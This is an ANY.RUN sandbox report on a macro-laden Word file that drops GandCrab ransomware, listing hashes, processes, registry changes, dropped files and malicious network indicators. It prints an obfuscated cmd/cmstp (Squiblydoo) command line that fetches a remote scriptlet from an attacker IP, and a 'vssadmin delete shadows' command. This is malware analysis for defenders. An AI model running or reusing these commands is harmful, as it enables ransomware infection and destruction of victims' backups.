File name:

소환하다.doc

Full analysis: https://app.any.run/tasks/fb9112b9-00b1-46e8-9e73-6f5af229462c
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 22, 2019, 10:12:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Thu Mar 21 19:19:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

6D70903794AB3CA05DD1B1B4F917204F

SHA1:

DBE96D823FB6C1B855020EA6676F27E9C13A0148

SHA256:

D383CEE6586F23BC1DCDD4D1E8638D58E795C0833111BCBD94AE1FB883AAE988

SSDEEP:

3072:B6pgFP6P77AjBNJx4WDgDBiTBEIGMqFWrdn2TXz+rOieOnewQKJk2iwHagf:B6pO+AnJ2Wsi9EI4EdGKOseZ6z

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 3052)

    • Application was dropped or rewritten from another process

      • 58131.exe (PID: 2436)

    • Writes file to Word startup folder

      • 58131.exe (PID: 2436)

    • Dropped file may contain instructions of ransomware

      • 58131.exe (PID: 2436)

    • Renames files like Ransomware

      • 58131.exe (PID: 2436)

    • Deletes shadow copies

      • cmd.exe (PID: 2680)

    • Changes settings of System certificates

      • 58131.exe (PID: 2436)

    • GANDCRAB detected

      • 58131.exe (PID: 2436)

  • SUSPICIOUS

    • Reads Internet Cache Settings

      • cmstp.exe (PID: 3052)

    • Creates files in the user directory

      • cmd.exe (PID: 1668)
      • cmstp.exe (PID: 3052)
      • 58131.exe (PID: 2436)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 3052)

    • Creates files in the program directory

      • 58131.exe (PID: 2436)

    • Starts CMD.EXE for commands execution

      • 58131.exe (PID: 2436)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2892)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 2892)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2892)

    • Dropped object may contain TOR URL's

      • 58131.exe (PID: 2436)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Admin
Keywords: -
Comments: -
Template: Normal
LastModifiedBy: Admin
RevisionNumber: 3
Software: Microsoft Office Word
TotalEditTime: 2.0 minutes
CreateDate: 2019:02:28 14:52:00
ModifyDate: 2019:03:21 19:19:00
Pages: 1
Words: 4
Characters: 23
Security: None
CodePage: Windows Latin 1 (Western European)
Company:
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 26
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
6
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 58131.exe cmd.exe no specs vssadmin.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
592vssadmin delete shadows /all /quietC:\Windows\SysWOW64\vssadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\vssadmin.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
1668cmd /V /C set "u05=s" && !u05!et "u39=\" && !u05!et "u42=e" && !u05!et "u43=i" && !u05!et "u49=A" && !u05!et "u1=N" && !u05!et "u5=d" && c!u49!ll !u05!et "u6=%!u49!PP!u5!!u49!T!u49!%" && c!u49!ll !u05!et "u63=%R!u49!!u1!!u5!OM%" && !u05!et "u62=!u6!!u39!M!u43!cro!u05!oft!u39!T!u42!mplat!u42!s!u39!!u63!.txt" && !u05!et "u8="^" && (For %i in ("[v!u42!r!u05!ion]" "!u05!ignatur!u42!=$Wi!u1!dow!u05! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!u42!faultIn!u05!tall_Singl!u42!U!u05!er]" "UnR!u42!gi!u05!t!u42!rOCXs=u66" "[u66]" "%11%\%u0_1%%u0_2%%u0_3%,NI,%u_1%%u_2%%u_3%%u_4%%u_5%%u_6%%u_7%%u_8%%u_9%%u_10%%u_11%%u_12%%u_13%%u_14%" "[!u05!tring!u05!]" "u_1=ht" "u_2=tp" "u_3=:/" "u_4=/1" "u_5=34" "u_6=.2" "u_7=09" "u_8=.8" "u_9=8." "u_10=23" "u_11=/s" "u_12=ub" "u_13=.t" "u_14=xt" "u0_2=rO" "u0_1=sC" "u0_3=bJ" ) do @echo %~i)>"!u62!" && echo !u05!erv!u43!ceNam!u42!=!u8! !u8!>>!u62! && echo !u05!hortSvcN!u49!me=!u8! !u8!>>!u62! && c!u49!ll !u05!et "u25=%WI!u1!!u5!IR%" && !u05!t!u49!rt "" !u25!!u39!Sy!u05!t!u42!m32!u39!cm!u05!tp.!u42!x!u42! /s /ns "!u62!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2436"C:\Users\admin\AppData\Roaming\Microsoft\58131.exe" C:\Users\admin\AppData\Roaming\Microsoft\58131.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\microsoft\58131.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2680"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\SysWOW64\cmd.exe—58131.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
2
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2892"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\소환하다.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.5123.5000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\msvcr90.dll
c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_a4d981ff711297b6\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3052C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\2565.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\cmstp.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
1 782
Read events
1 359
Write events
415
Delete events
8

Modification events

(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:jz&
Value:
6A7A26004C0B0000010000000000000000000000
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2892) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1316356138
(PID) Process:(2892) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1316356222
(PID) Process:(2892) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1316356223
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
4C0B000044CC43C697E0D40100000000
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:2c&
Value:
326326004C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:2c&
Value:
326326004C0B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2892) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
1
Suspicious files
2 211
Text files
224
Unknown types
67

Dropped files

PID
Process
Filename
Type
2892WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4E6A.tmp.cvr —
MD5:—
SHA256:—
2892WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFE989A7F73B9A6C44.TMP —
MD5:—
SHA256:—
243658131.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp —
MD5:—
SHA256:—
2892WINWORD.EXEC:\Users\admin\Desktop\~$소환하다.docpgc
MD5:—
SHA256:—
3052cmstp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K78MRVB5\sub[1].txtxml
MD5:—
SHA256:—
1668cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\Templates\2565.txtini
MD5:—
SHA256:—
2892WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8460C7EF.wmfwmf
MD5:—
SHA256:—
2892WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\소환하다.LNKlnk
MD5:—
SHA256:—
243658131.exeC:\$Recycle.Bin\S-1-5-21-3896776584-4254864009-862391680-1000\RUUMEOW-MANUAL.txttext
MD5:—
SHA256:—
2892WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{72069925-1B99-4914-8FFC-0C51023DE917}.tmpbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3052
cmstp.exe
GET
200
134.209.88.23:80
http://134.209.88.23/sub.txt
US
xml
259 Kb
malicious
2436
58131.exe
POST
404
107.173.49.208:443
https://www.kakaocorp.link/static/pics/fukees.jpg
US
html
599 b
malicious
2436
58131.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3052
cmstp.exe
134.209.88.23:80
—
—
US
malicious
2436
58131.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
2436
58131.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
3052
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2 ETPRO signatures available at the full report
No debug info
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Reports
소환하다.doc